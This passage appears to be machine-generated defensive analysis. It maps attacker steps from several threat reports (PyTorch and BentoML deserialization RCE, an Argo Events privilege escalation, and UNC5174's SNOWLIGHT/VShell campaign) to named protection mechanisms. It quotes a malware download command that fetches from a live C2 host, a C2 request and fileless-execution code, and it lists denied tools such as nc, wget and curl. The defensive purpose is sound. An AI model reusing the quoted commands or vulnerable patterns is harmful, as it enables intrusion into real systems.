  • BR-81: Kernel CET/Shadow Stack Guard - This mechanism is potentially applicable as it specifically complements SMEP/SMAP by preventing return address hijacking (ROP) that could be used to gain execution despite memory protections. Requires CET hardware.
• The rootkit's activities, channeled through io_uring operations, are potentially hidden from security tools focused on traditional system call hooks or kernel module loading. (Cited from: "By operating within io_uring, the rootkit can potentially hide its activities from security tools that monitor traditional system call hooks or kernel module presence", "Stealth")
  • BR-24: File Operations Protection - This mechanism is applicable because even if syscalls are not hooked, modifications to file operation structures for hiding files can still be detected.
  • BR-35: Kernel Integrity Protection - This mechanism is applicable because it monitors kernel code and read-only data integrity, potentially detecting modifications made by the rootkit, regardless of how execution was achieved.
  • BR-94: Netfilter Hook Protection - This mechanism is applicable because it monitors the registration of Netfilter hooks, potentially detecting network hiding attempts even if traditional syscall monitoring is bypassed.

F1: Exploitation of CVE-2025-32434 by crafting a malicious PyTorch model file to achieve Remote Code Execution (RCE) even when torch.load() is used with weights_only=True, targeting systems running PyTorch versions ≤2.5.1.

• The attacker identifies a target system or application that utilizes PyTorch version ≤2.5.1. (Cited from: "It affects PyTorch versions ≤2.5.1")
• The attacker crafts a malicious model file specifically designed to exploit the vulnerability in the torch.load() function. (Cited from: "If a malicious actor crafts a model file designed to exploit this flaw")
• The malicious model file is engineered to trigger RCE even when the torch.load() function is invoked with the weights_only=True parameter, bypassing this intended security measure. (Cited from: "resides in the torch.load() function — specifically when invoked with the parameter weightsonly=True", "even if you use weightsonly=True, it still can achieve RCE")
• The victim or a victim's application loads the malicious model file using torch.load(filepath, weights_only=True). (Implicit from the context of torch.load() and weights_only=True being used by developers)
  • BR-77: Python OS Command Injection Prevention - This mechanism is applicable because the vulnerability in PyTorch's torch.load() (a Python function) leads to Remote Code Execution, which is a form of OS command injection from a Python process. This aligns with the LLM rule requiring mention of 'Python' and 'OS command injection' or 'Python command execution'.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable because the RCE achieved through torch.load() could involve starting unauthorized new processes. This aligns with the LLM rule concerning 'unauthorized process execution'.
  • BR-54: Container Drift Protection (Binaries & Scripts) - If this software ran inside a container, then this mechanism applies because the RCE involves executing arbitrary commands, which could include new binaries or scripts not part of the original container image. This aligns with the LLM rule requiring 'remote code execution'.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable because the RCE could lead to the execution of unauthorized files added to the system outside of trusted package managers. This aligns with the LLM rule for vulnerabilities allowing 'remote code execution'.
  • BR-65: Container Host Drift Prevention - If this vulnerability affects container hosts, then this mechanism applies because RCE could lead to the execution of new or modified files by non-allow-listed privileged containers or host processes. This aligns with the LLM rule concerning 'remote code execution'.
• Upon loading the malicious model, arbitrary commands are executed on the target machine where the PyTorch code is running. (Cited from: "they can execute arbitrary commands on the target machine")
  • BR-77: Python OS Command Injection Prevention - This mechanism is applicable because the execution of arbitrary commands via PyTorch (Python-based) constitutes Python OS command injection.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable as the arbitrary commands represent unauthorized process execution.
  • BR-54: Container Drift Protection (Binaries & Scripts) - If this software ran inside a container, then this mechanism applies because executing arbitrary commands matches the 'remote code execution' condition in its LLM rule, potentially involving new executables.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable as executing arbitrary commands could involve files not installed via trusted package managers, fitting the 'remote code execution' aspect of its LLM rule.
  • BR-65: Container Host Drift Prevention - If this vulnerability affects container hosts, then this mechanism applies because executing arbitrary commands fits the 'remote code execution' condition in its LLM rule.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because the RCE might attempt to execute commands or payloads from non-standard or temporary paths not on the allowlist, fitting the LLM rule for execution from a non-standard location.
  • BR-90: Process Exec Deny - This mechanism is applicable if the arbitrary commands include attempts to execute processes with suffixes like '/nc', '/wget', or '/curl', which are denied by default.
• This execution can lead to severe consequences such as data breaches, system compromise, or enable lateral movement if the compromised system is part of a larger network, like cloud-hosted AI environments. (Cited from: "potentially leading to data breaches, system compromise, or even lateral movement in cloud-hosted AI environments")
  • BR-55: Reverse Shell Protection - This mechanism is applicable because RCE (as achieved in the previous step) can be used to establish a reverse shell for interactive command and control, aligning with the LLM rule that assumes RCE can lead to reverse shells.
  • BR-87: Process Socket Deny - This mechanism is applicable because processes spawned by the RCE for data exfiltration or lateral movement would likely perform unauthorized network activity, which this mechanism can block based on an allow list policy, fitting the LLM rule.
  • BR-59: Cloud IMDS Firewall (AWS) - If the vulnerable software ran inside an AWS EC2 or AWS EKS environment, then this mechanism applies because the RCE could be used to make unauthorized requests to the AWS IMDS, potentially for credential theft or SSRF, which this firewall protects against. The article mentions 'cloud-hosted AI environments'.
  • BR-91: Sensitive File Access - This mechanism is applicable because a data breach often involves accessing sensitive files (e.g., /etc/shadow, SSH keys). This mechanism monitors and can block access to predefined sensitive files.
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if system compromise or data manipulation involves unauthorized write attempts to critical system directories. The LLM rule covers 'unauthorized write access'.
  • BR-52: Data Resource Mandatory Access Control - This mechanism is applicable if the RCE leads to unauthorized binaries (part of the exploit chain) attempting to access or exfiltrate data from critical data directories. This fits the LLM rule regarding 'unauthorized code execution of native binaries' accessing protected resources.

F1: Exploitation of CVE-2025-32445 in Argo Events by a user with permissions to create/modify EventSource or Sensor custom resources (CRs) to gain privileged access to the host system and Kubernetes cluster.

• Attacker gains or possesses permissions to create/modify EventSource and Sensor custom resources within the target Kubernetes cluster. (Cited from: "a user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster")
• Attacker crafts a malicious EventSource or Sensor CR. (Cited from: "a user with permission to create/modify EventSource and Sensor custom resources can gain privileged access", "The advisory provides a sample EventSource configuration that demonstrates how this vulnerability can be exploited.")
• Within the malicious CR, the attacker customizes the spec.template and specifically the spec.template.container section. (Cited from: "EventSource and Sensor CRs can be customized with spec.template and spec.template.container")
• In the spec.template.container section, the attacker specifies malicious container properties. These include setting privileged: true, adding the SYS_ADMIN capability, and defining a volumeMount to mount the host's root filesystem (e.g., /) into the pod. (Cited from: "allows users to specify various container properties, such as command, args, securityContext, and volumeMount", "The example includes settings like privileged: true, adding the SYS_ADMIN capability, and mounting the host’s root filesystem.")
  • BR-47: Container Capability Control - This mechanism is applicable because the attacker is attempting to escalate privileges by setting privileged: true and adding the SYS_ADMIN capability. BR-47 is designed to enforce specific capabilities for containers, overriding defaults and potentially preventing the assignment of these high-privilege capabilities if they violate policy. The LLM rule matches as the attack involves "privileged containers" and "Kubernetes capabilities".
  • BR-66: Host FS Mount Control - This mechanism is applicable because the attacker is defining a volumeMount to mount the host's root filesystem. BR-66 enforces an allow list for host file system mounts and could deny this operation if mounting the root filesystem is not explicitly permitted by policy. The LLM rule matches as the attack involves a "file system mount" (host root FS).
  • BR-67: Container Root User Control - This mechanism is applicable because setting privileged: true typically results in the container's processes running as root. BR-67 detects and prevents processes running as root within a container (except for the designated init process). If the attacker's specified command/args result in a non-init root process, this mechanism would apply when the pod attempts to run. The LLM rule matches due to "process running as root within a container" and "privilege escalation within containers".
• Attacker applies the malicious EventSource or Sensor CR to the Kubernetes cluster.
• Argo Events processes the CR, and due to the vulnerability, the specified malicious container settings (privileged: true, SYS_ADMIN capability, host root mount) are applied to the EventSource or Sensor pod that gets created. (Cited from: "Due to the code logic, these specifications are applied to the EventSource or Sensor pod.")
  • BR-47: Container Capability Control - This mechanism applies at the point the pod is created with the malicious settings. It would enforce policies to prevent the pod from gaining privileged: true status or the SYS_ADMIN capability if these are disallowed. The LLM rule matches due to "privileged containers" and "Kubernetes capabilities".
  • BR-66: Host FS Mount Control - This mechanism applies as the pod attempts to mount the host root filesystem during its creation/startup. BR-66 would block this mount if the host's root filesystem is not on the configured allow list. The LLM rule matches as it involves a "container mount" of a host filesystem.
  • BR-67: Container Root User Control - This mechanism applies when the created pod starts running processes. If the container attempts to run processes as root (beyond the allowed init process) due to the privileged: true setting, BR-67 would detect and potentially block this. The LLM rule matches as it involves "process running as root within a container".
• The attacker's pod now runs with high privileges on the underlying Kubernetes node, with access to the entire host filesystem.
  • BR-67: Container Root User Control - If processes within this pod run as root (and are not the designated init process for the container namespace), this mechanism would apply to detect and potentially block these root processes. The privileged: true setting makes it highly likely that the main process runs as root. The LLM rule for BR-67 matches due to "process running as root within a container" and the context of privilege escalation.
• Attacker executes commands within this privileged pod to access and control the host system and potentially the wider cluster. (Cited from: "By carefully crafting the template.container section, an attacker can gain privileged access to the cluster host.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - If the attacker executes new binaries or scripts within the pod that were not part of its original image (e.g., downloaded tools or custom scripts), this mechanism would block their execution. The LLM rule applies if the attack allows running OS level commands within the container.
  • BR-88: Process Path Exec Allow - If the attacker executes commands from paths within the pod (or the mounted host filesystem via the pod) that are not on the pre-defined allowlist, this mechanism would block the execution. The LLM rule applies if execution occurs from a non-standard or disallowed location.
  • BR-90: Process Exec Deny - If the attacker attempts to execute specific denied processes (e.g., default-denied nc, wget, curl, or other tools added to a deny list) from within the pod, this mechanism would block their execution. The LLM rule applies if execution of a denied program name or suffix occurs.
  • BR-91: Sensitive File Access - If the attacker attempts to access sensitive files on the mounted host filesystem (e.g., /etc/shadow on the host, SSH keys, credentials), this mechanism would detect or block such access if these files/paths are configured as sensitive. The LLM rule for BR-91 matches due to potential access to "sensitive files" or "credentials in files".
  • BR-78: Host Setuid File Protection - If the attacker, leveraging the mounted host filesystem, attempts to write to or modify setuid files on the host from within the container to escalate privileges further on the host, this mechanism would apply. The LLM rule for BR-78 matches due to potential "unauthorized file modification" of "setuid files" from a container.
  • BR-89: Library Load Path Allow - If the attacker attempts to load shared libraries from untrusted paths within the pod or on the mounted host filesystem to execute malicious code, this mechanism would block the loading of libraries from non-allowed paths. The LLM rule applies if library loading from an untrusted path occurs.
  • BR-86: PTrace Protection - If the attacker uses ptrace from within the privileged pod to inspect or manipulate other processes on the host or in other containers on the same node, this mechanism would intercept and potentially block unauthorized ptrace calls. The LLM rule for BR-86 matches if ptrace is used for unauthorized memory access or process injection.
• This leads to severe consequences such as breaking tenant isolation, non-admin users gaining host/cluster access, access to other tenants’ data, bypassing security models (RBAC, Pod Security Policies/Standards), and complete compromise of the host system. (Cited from: "Tenant isolation being broken Non-admin users gaining host/cluster access Access to other tenants’ data Bypassing security models, including RBAC restrictions and Pod Security Policies/Standards Compromise of the host system")

F1: UNC5174's new campaign (post-January 2025) on Linux systems, involving initial script execution, deployment of SNOWLIGHT malware, which then downloads and executes the VShell RAT in-memory using fileless techniques, and establishes C2 communication via WebSockets.

• Attacker gains initial access to a Linux-based system. The exact method for this campaign is unclear. (Cited from: "Although it is unclear what UNC5174 is using for initial access in this campaign, it is targeting Linux-based systems.")
• A malicious bash script, download_backd.sh, is executed on the compromised system. (Cited from: "Following initial access, a malicious bash script drops two payloads: dnsloger (associated with SNOWLIGHT malware) and system_worker (associated with Sliver and Cobalt Strike).")
  • BR-54: Container Drift Protection (Binaries & Scripts) - If this software ran inside a container, then this mechanism applies because it prevents the execution of new scripts like download_backd.sh if it was not part of the original container image at load time.
  • BR-62: Linux/Host Drift Protection - This mechanism applies because it would block the execution of download_backd.sh if this script was added to the system outside of a trusted package manager after boot and then executed.
  • BR-88: Process Path Exec Allow - This mechanism applies because it would prevent the execution of the download_backd.sh script if it is initially run from a path not on the execution allowlist (e.g., /tmp or a user-writable directory, as implied by later steps where files are kept in /tmp if not root).
• The download_backd.sh script downloads two primary executables: dnsloger (SNOWLIGHT malware) and system_worker (Sliver/Cobalt Strike implant) from a C2 server, e.g., http://gooogleasia.com:8080/download_$executable. (Cited from: "This is the original bash script responsible for downloading and executing the dnsloger and systemworker binaries.", "curl -sL "http://gooogleasia.com:8080/download$executable" -o "/tmp/$executable"")
  • BR-87: Process Socket Deny - This mechanism applies because it could prevent the curl process (executed by the download_backd.sh script) from initiating an outgoing network connection to http://gooogleasia.com:8080 if curl or the C2 destination is not on the allow list.
  • BR-90: Process Exec Deny - This mechanism applies because curl (invoked by the script as curl -sL ...) is a process whose execution can be denied if its path ends with '/curl' (a default denied suffix). If curl execution is blocked, the download of dnsloger and system_worker would fail.
• The script verifies the MD5 hashes of the downloaded executables and attempts to re-download them if the hashes do not match. (Cited from: "The shell script contains various functions to verify if the malicious executables dropped correspond to the expected MD5 hashes. If they do not, the script attempts to re-download them.")
  • BR-87: Process Socket Deny - This mechanism applies because if re-download is attempted via curl, it could prevent the curl process from initiating an outgoing network connection if curl or the C2 destination is not on the allow list.
  • BR-90: Process Exec Deny - This mechanism applies because if curl is used for re-download and its execution is denied (e.g. path ending in '/curl'), the re-download would fail.
• If the script is running as root, it moves the downloaded executables (dnsloger, system_worker) to /usr/bin/. Otherwise, they are kept in /tmp/. (Cited from: "When running as root, the script moves the executable to /usr/bin/", "If it is not, it keeps the downloaded executable in /tmp.")
  • BR-75: Critical Directory Write Protection - This mechanism applies because if /usr/bin/ is configured as a critical directory, any write attempt (like moving the malware executables dnsloger and system_worker there) by the script would be blocked, as this mechanism blocks any writes to specified critical directories from any process.
• The download_backd.sh script establishes persistence for dnsloger and system_worker by adding them to crontab (for hourly execution and execution on reboot) and configuring them as systemd or init.d services. (Cited from: "For persistence, the script abuses crontab by adding the executables to ensure they run every hour and after reboots", "The script configures two malicious binaries, dnsloger and system_worker, to run at startup via systemd (newer systems) or init.d (older systems).")
  • BR-75: Critical Directory Write Protection - This mechanism applies because if the directories for crontab configurations (e.g., /etc/cron.d/, /var/spool/cron/) or systemd/init.d service files (e.g., /etc/systemd/system/, /etc/init.d/) are designated as critical, this mechanism would block the malicious script from writing new service or cron files into them.
  • BR-91: Sensitive File Access - This mechanism applies if the specific crontab files (e.g. /etc/crontab) or systemd service definition files being created or modified are on the sensitive file list, as it would detect or block unauthorized modifications to these critical configuration files.
• The dnsloger (SNOWLIGHT) executable, once running, connects to its hardcoded C2 server vs[.]gooogleasia[.]com. (Cited from: "Analyzing the malware with radare2...reveals that some parameters and filenames are hardcoded. For instance...the C2 server, vs[.]gooogleasia[.]com.")
  • BR-87: Process Socket Deny - This mechanism applies by preventing the dnsloger process from initiating an outgoing network connection to vs[.]gooogleasia[.]com if the dnsloger process itself or the C2 destination is not on the configured allow list.
• dnsloger sends an HTTP GET request (e.g., GET /?a=l64&h=vs.gooogleasia.com&t=ws_&p=8443 HTTP/1.1) to its C2 server to download the VShell RAT payload. (Cited from: "The dnsloger (SNOWLIGHT) binary downloads the VShell binary through a carefully crafted GET request to the C2 server.", "sendto res=1024 data=GET /?a=l64&h=vs.gooogleasia.com&t=ws_&p=8443 HTTP/1.1..Host: vs.gooogleasia.... A")
  • BR-87: Process Socket Deny - This mechanism applies by preventing the dnsloger process from initiating the outgoing HTTP GET request to vs[.]gooogleasia[.]com if the process or the destination is not on the allow list.
• The received VShell payload data is XOR-decoded with the key 0x99. (Cited from: "The malware then waits to receive data from the server and XORs the data with 0x99, suggesting an attempt to obfuscate or encrypt the content before processing it.")
• dnsloger uses the memfd_create system call to create an anonymous file descriptor in memory (e.g., named 'a') for the VShell payload. (Cited from: "It is created through the memfdcreate (syscall 0x13f) by its dropper, SNOWLIGHT, in this campaign.", "< memfdcreate fd=4(<m>a) name=a flags=1(MFD_CLOEXEC)")
  • BR-83: Syscall Deny Filter - This mechanism applies because the step explicitly mentions the memfd_create system call (syscall 0x13f). If memfd_create is on the deny list for the dnsloger process, its execution would be blocked, preventing the creation of the in-memory file for VShell. memfd_create is not one of the syscalls this mechanism will never block.
  • BR-85: Ephemeral Filesystem Behavior Analysis - This mechanism applies because memfd_create is used to create a file in a memory-backed filesystem. This activity is a key indicator monitored by BR-85, and an alert would be generated. Subsequent execution from this memory-backed file (as in step F1.11) would also be detected.
• dnsloger executes the VShell payload directly from the memory file descriptor using the fexecve system call, disguising the VShell process name as [kworker/0:2]. (Cited from: "It is disguised as a system process ([kworker/0:2]) and executed through fexecve syscall", "fexecve(iVar3,&local_1c48,environ);" where local_1c48 = "[kworker/0:2]")
  • BR-54: Container Drift Protection (Binaries & Scripts) - If this software ran inside a container, then this mechanism applies because VShell, executed from memory as [kworker/0:2], is a new executable binary not present in the original container image manifest and its execution would be blocked.
  • BR-62: Linux/Host Drift Protection - This mechanism applies because the VShell payload is executed from memory and was not installed via a trusted package manager. It represents drift from the baseline of code installed via trusted package managers and its execution would be blocked.
  • BR-80: Tainted File Download Protection - This mechanism applies because the VShell payload (compiled code) was fetched over the network by dnsloger (in step F1.8) and is now being executed by dnsloger via fexecve. This matches the pattern of downloading code and subsequently executing it.
  • BR-85: Ephemeral Filesystem Behavior Analysis - This mechanism applies because VShell is being executed from a memory-backed file descriptor (created via memfd_create in step F1.10). Execution from memory-backed filesystems like those created by memfd_create is a key indicator monitored by BR-85.
  • BR-55: Reverse Shell Protection - This mechanism applies because VShell is a Remote Access Trojan (RAT) designed for remote access and control, which implies it can establish an interactive command and control session. If this involves binding shell STDIN/STDOUT/STDERR to the network socket, BR-55 would block this.
• The fileless VShell RAT establishes Command and Control (C2) communication with vs[.]gooogleasia[.]com on port 8443 by upgrading an HTTP connection to a WebSocket connection. (Cited from: "The presence of the Upgrade: websocket and Connection: Upgrade headers in the write data shows that the process is attempting to upgrade from an HTTP connection to a WebSocket connection to the server at vs[.]gooogleasia[.]com on port 8443.")
  • BR-87: Process Socket Deny - This mechanism applies by preventing the VShell process (disguised as [kworker/0:2]) from initiating or maintaining an outgoing network connection to vs[.]gooogleasia[.]com if the VShell process itself or the C2 destination is not on the configured allow list.
  • BR-55: Reverse Shell Protection - This mechanism applies as the VShell RAT is establishing C2, a form of remote command and control. If this C2 communication facilitates interactive shell access by binding shell file descriptors to the network socket, BR-55 would detect and block it.
• VShell performs memory mapping operations (mmap/mmap2) to allocate large, anonymous memory regions with PROT_NONE protection, possibly for future payload injection. (Cited from: "It performs multiple memory mappings (mmap and mmap2 system calls), with fd=-1 (indicating no file descriptor) combined with flags like MAPPRIVATE | MAPANONYMOUS.", "Some of these mappings are huge (e.g., 64MB, 128MB, 512MB) and are allocated with PROT_NONE protection")

​

F2: Parallel deployment and operation of a Sliver C2 implant (system_worker) by UNC5174 in its new campaign, providing an alternative C2 channel using secure protocols.

• Following initial access to a Linux system, the download_backd.sh script downloads the system_worker executable, identified as a Sliver implant. (Cited from: "Following initial access, a malicious bash script drops two payloads: dnsloger (associated with SNOWLIGHT malware) and systemworker (associated with Sliver and Cobalt Strike).", "The downloaded executable systemworker was categorized as Sliver malware on VT")
  • BR-87: Process Socket Deny - This mechanism applies because it could prevent the curl process (executed by download_backd.sh) from initiating an outgoing network connection to download system_worker if curl or the C2 destination is not on the allow list.
  • BR-90: Process Exec Deny - This mechanism applies because curl is a default denied process. If download_backd.sh attempts to execute curl (e.g. path ending in '/curl') to download system_worker, its execution would be blocked.
• The system_worker binary is UPX-packed and obfuscated using gobfuscate. (Cited from: "It is both UPX-packed and obfuscated with gobfuscate.")
• Persistence for system_worker is established by the download_backd.sh script using crontab and systemd/init.d services, similar to dnsloger. (Cited from: "For persistence, the script abuses crontab by adding the executables to ensure they run every hour and after reboots", "The script configures two malicious binaries, dnsloger and system_worker, to run at startup via systemd (newer systems) or init.d (older systems).")
  • BR-75: Critical Directory Write Protection - This mechanism applies because if directories for crontab or systemd/init.d service files are designated as critical, this mechanism would block the script from writing new service/cron files for system_worker.
  • BR-91: Sensitive File Access - This mechanism applies if the specific crontab files or systemd service files being modified for system_worker are on the sensitive file list, as it would detect or block unauthorized modifications.
• The executed system_worker (Sliver) implant establishes C2 communication with multiple subdomains hosted at sex666vr[.]com and gooogleasia[.]com. (Cited from: "Analyzing the runtime behavior of system_worker logs showed that this binary reaches out to multiple C2 subdomains hosted at sex666vr[.]com", "wg.gooogleasia.com")
  • BR-87: Process Socket Deny - This mechanism applies by preventing the system_worker (Sliver implant) process from initiating outgoing network connections to its C2 domains (e.g., sex666vr[.]com, gooogleasia[.]com) if the system_worker process or the destinations are not on the allow list.
  • BR-55: Reverse Shell Protection - This mechanism applies because the Sliver implant (system_worker) is establishing C2 communication for remote control. If this involves interactive shell capabilities over the socket, BR-55 is designed to prevent the binding of shell file descriptors to the network socket.
• The Sliver implant utilizes secure communication protocols for its C2 channels, including mutual TLS (mTLS), WireGuard, and HTTPS, as indicated by accessed subdomains like mtls.sex666vr.com. (Cited from: "More specifically, the binary uses secure communication channels typical of Sliver implants, including mutual TLS (mTLS), WireGuard, and HTTPS. These protocols can be seen in the subdomains mentioned.")
  • BR-87: Process Socket Deny - This mechanism applies by preventing the system_worker (Sliver implant) process from establishing these secure C2 connections if the process or the destinations are not on the allow list.

​

F3: UNC5174's C2 infrastructure setup and maintenance, involving domain squatting to impersonate legitimate companies for phishing and hosting malware components.

• UNC5174 registers and uses C2 domains like gooogleasia[.]com and sex666vr[.]com. (Cited from: "In this campaign, we observed new C2 domains: gooogleasia[.]com (with no affiliation to Google) sex666vr[.]com")
• The actor employs domain squatting techniques, impersonating known companies (e.g., Google, Cloudflare, Telegram, Huione Pay) with domains such as gooogleasia[.]com, c1oudf1are[.]com, telegrams[.]icu, and huionepay[.]me. (Cited from: "Domain squatting was likely used for phishing purposes.", "The domains are predominantly impersonating known companies, with the most recent instance spoofing Cloudflare.", "These include: telegrams[.]icu (plausibly impersonating Telegram) huionepay[.]me (plausibly impersonating Huione Pay) c1oudf1are[.]com (plausibly impersonating Cloudflare)")
• These domains are hosted on infrastructure such as Google Compute Engine (GCE) virtual machines, with IP addresses changing over time (e.g., gooogleasia[.]com resolved to 34[.]96[.]239[.]183 and later 34[.]96[.]252[.]230). (Cited from: "The domain gooogleasia[.]com was created on Sept. 1, 2023, and as of Jan. 16, 2025, it resolved to the IP address 34[.]96[.]239[.]183. We resolved this to an IP host name located in Hong Kong for a Google Compute Engine (GCE) virtual machine.", "During the investigation, we’ve noticed that a new IP started to host gooogleasia[.]com and its subdomains: 34[.]96[.]252[.]230, changed on February 21, 2025.")
• Multiple subdomains are utilized, some incorporating other brand names (e.g., login[.]microsoftonline[.]gooogleasia[.]com), and are used for C2 operations for SNOWLIGHT (e.g., vs[.]gooogleasia[.]com) and Sliver/Cobalt Strike (e.g., evil[.]gooogleasia[.]com, mtls.sex666vr[.]com). (Cited from: "These domains have multiple subdomains, some of which have other brand names, such as login[.]microsoftonline[.]gooogleasia[.]com.", "MalTrail also classifies several subdomains of gooogleasia[.]com as Cobalt Strike C2s.")
• This infrastructure is assessed to be used for phishing and social engineering to facilitate initial access. (Cited from: "We assess with high confidence that the new infrastructure aligns with domain squatting, likely employed for phishing and social engineering.")

​

F4: UNC5174's earlier (November 2024) campaign variation using SNOWLIGHT to drop VShell, featuring similar TTPs but different C2 infrastructure (googlespays[.]com).

• In November 2024, UNC5174 deployed a SNOWLIGHT malware variant. (Cited from: "we found that the first sample dropping a VShell binary in the same fashion we observed with our newest binary was first detected in November 2024.")
• This SNOWLIGHT variant acted as a dropper for a VShell binary. (Cited from: "the first sample dropping a VShell binary...was first detected in November 2024.")
  • BR-80: Tainted File Download Protection - This mechanism applies if the SNOWLIGHT variant downloaded the VShell binary (compiled code) over the network and VShell was subsequently executed. The step describes SNOWLIGHT acting as a dropper, implying download and subsequent execution.
  • BR-87: Process Socket Deny - If SNOWLIGHT downloaded VShell over the network, this mechanism could apply by preventing SNOWLIGHT from making the necessary socket connection if SNOWLIGHT or the C2 was not on the allow list.
• SNOWLIGHT executed the VShell payload in memory, with the VShell process mascarading under the name [kworker/0:2]. (Cited from: "SNOWLIGHT malware, when executing and downloading in memory, uses the name “[kworker/0:2].”", "using this query: behaviour_processes:"/memfd:a (deleted)/ [kworker/0:2]"")
  • BR-54: Container Drift Protection (Binaries & Scripts) - If this execution occurred within a container, this mechanism applies because VShell, executed from memory as [kworker/0:2], is a new binary not in the original image and its execution would be blocked.
  • BR-62: Linux/Host Drift Protection - This mechanism applies as VShell is executed from memory and not installed via a trusted package manager, representing drift that would be blocked.
  • BR-85: Ephemeral Filesystem Behavior Analysis - This mechanism applies as executing a payload from memory (implied by /memfd:a (deleted)/) like VShell, especially when disguised as a kernel worker, is a key indicator of fileless execution that BR-85 monitors and alerts on.
  • BR-55: Reverse Shell Protection - This mechanism applies as VShell is a RAT. If its execution as [kworker/0:2] involves establishing an interactive C2 shell by binding shell FDs to network sockets, BR-55 would block this.
• The VShell binary used in this November 2024 campaign established C2 communication via the WebSocket protocol. (Cited from: "The November 2024 VShell binary also uses a WebSocket protocol")
  • BR-87: Process Socket Deny - This mechanism applies by preventing the VShell process from establishing the WebSocket C2 connection if the VShell process or the C2 destination is not on the allow list.
  • BR-55: Reverse Shell Protection - This mechanism applies if the WebSocket C2 communication facilitates interactive shell-like remote control, by preventing the binding of shell FDs to the socket.
• The C2 communication for this VShell instance was directed to the domain apib[.]googlespays[.]com. (Cited from: "The November 2024 VShell binary also uses a WebSocket protocol over the C2 domain apib[.]googlespays[.]com")
  • BR-87: Process Socket Deny - This mechanism applies by preventing the VShell process from connecting to apib[.]googlespays[.]com if this destination is not on the allow list.
• The primary C2 domain for this earlier campaign was googlespays[.]com, also impersonating Google. (Cited from: "This led to the discovery of additional UNC5174 C2 infrastructure from November 2024: googlespays[.]com. The Google brand impersonation matches the pattern of the current C2 domain")

​

F5: Historical UNC5174 TTP: Exploitation of Ivanti Cloud Service Appliance (CSA) products.

• UNC5174 targets Ivanti Cloud Service Appliance (CSA) products. (Cited from: "UNC5174 exploited Ivanti’s Cloud Service Appliance (CSA) products during the 2024 Summer Olympics.")
• The actor exploits vulnerabilities in these Ivanti CSA products to gain unauthorized access. (Cited from: "UNC5174 exploited Ivanti’s Cloud Service Appliance (CSA) products during the 2024 Summer Olympics.")
• This access is then used for further malicious activities, as observed during the 2024 Summer Olympics. (Cited from: "UNC5174 exploited Ivanti’s Cloud Service Appliance (CSA) products during the 2024 Summer Olympics.")

​

F6: Historical UNC5174 TTP: Phishing with malicious email attachments.

• UNC5174 conducts phishing campaigns. (Cited from: "According to SOCRadar, this threat actor also leveraged phishing with malicious email attachments to deliver their malware in 2019.")
• Malicious email attachments are used as the delivery vector for their malware. (Cited from: "this threat actor also leveraged phishing with malicious email attachments to deliver their malware in 2019.")
• This technique was observed being used by UNC5174 in 2019. (Cited from: "in 2019.")

F1: Exploitation of BentoML CVE-2025-27520 via insecure deserialization of a user-controlled HTTP request payload, leading to Remote Code Execution (RCE).

• Attacker identifies a target system running a vulnerable version of BentoML (e.g., =1.3.4, or any version <1.4.3 but not 1.4.3 itself). (Cited from: "The following versions of BentoML are affected:=1.3.4, <1.4.3", "latest version (v1.4.2) of BentoML")
• Attacker crafts a malicious serialized Python object (pickle payload) designed to execute arbitrary code upon deserialization. (Cited from: "maliciously crafted serialized data can execute harmful actions during deserialization.")
• Attacker constructs an HTTP request where the payload content contains the malicious serialized object. (Cited from: "payload content is sourced from an HTTP request, which can be fully manipulated by the attack.")
• Crucially, the attacker ensures that the payload.metadata within the HTTP request does not include the key "buffer-lengths" to trigger the vulnerable code path in serde.py. (Cited from: "if 'buffer-lengths' not in payload.metadata: return pickle.loads(b"".join(payload.data))")
• The attacker sends this crafted HTTP request to the vulnerable BentoML server.
• The BentoML server's deserialize_value function in serde.py receives the payload. Due to the absence of "buffer-lengths" in the metadata, it proceeds to call pickle.loads() on the attacker-controlled data. (Cited from: "def deserialize_value(self, payload: Payload) -> t.Any: if 'buffer-lengths' not in payload.metadata: return pickle.loads(b"".join(payload.data))")
  • BR-76: Python Deserialization Protection - This mechanism is applicable because the vulnerability involves insecure deserialization in Python (pickle.loads). BR-76 intercepts the Python deserialization process and applies policies to restrict the execution of function calls from deserialized objects, potentially blocking the harmful actions of the malicious payload before full code execution occurs.
• The pickle.loads() function deserializes the malicious object, executing the arbitrary code embedded by the attacker on the server. (Cited from: "It allows any unauthenticated user to execute arbitrary code on the server.", "maliciously crafted serialized data can execute harmful actions during deserialization.")
  • BR-76: Python Deserialization Protection - This mechanism is applicable because it aims to limit the actions (like function calls) that Python deserialized objects can take. By intercepting the deserialization process and applying restrictive policies, it can prevent or limit the execution of the arbitrary code embedded in the malicious object.
  • BR-77: Python OS Command Injection Prevention - This mechanism is applicable because the executed arbitrary Python code might attempt to run OS-level commands. BR-77 monitors Python runtime for patterns indicative of OS command injection (e.g., execution of system binaries/shell commands from Python) and blocks such attempts.
  • BR-92: Python Eval Protection - This mechanism is applicable if the arbitrary Python code executed as part of the RCE uses the eval() function with untrusted input. BR-92 intercepts calls to eval() and can block its execution, preventing code injection that relies on this function.
  • BR-54: Container Drift Protection (Binaries & Scripts) - If this software ran inside a container, this mechanism is applicable because the RCE might lead to the execution of new binaries or scripts not present in the original container image. BR-54 maintains a manifest of original executables and blocks execution of anything new.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable because the RCE could lead to unauthorized new processes starting. BR-82 uses NSJail to sandbox and restrict process execution based on predefined rules, potentially blocking new processes spawned by the RCE.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the RCE attempts to execute a process from a filesystem path not on the pre-defined allowlist. BR-88 intercepts exec() calls and blocks execution from non-allowed paths.
  • BR-90: Process Exec Deny - This mechanism is applicable if the RCE attempts to execute a process whose path suffix matches a predefined deny list (e.g., /nc, /wget, /curl). BR-90 intercepts exec() calls and blocks execution of denied processes.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable because the RCE could involve adding new executable files to the host filesystem outside of trusted package managers. BR-62 monitors for such additions and blocks their execution.
  • BR-86: PTrace Protection - This mechanism is applicable if the arbitrary code executed by the RCE attempts to use the ptrace system call to inspect or manipulate other processes' memory, for instance, to inject code or escalate privileges. BR-86 intercepts and monitors ptrace calls to prevent unauthorized memory access.
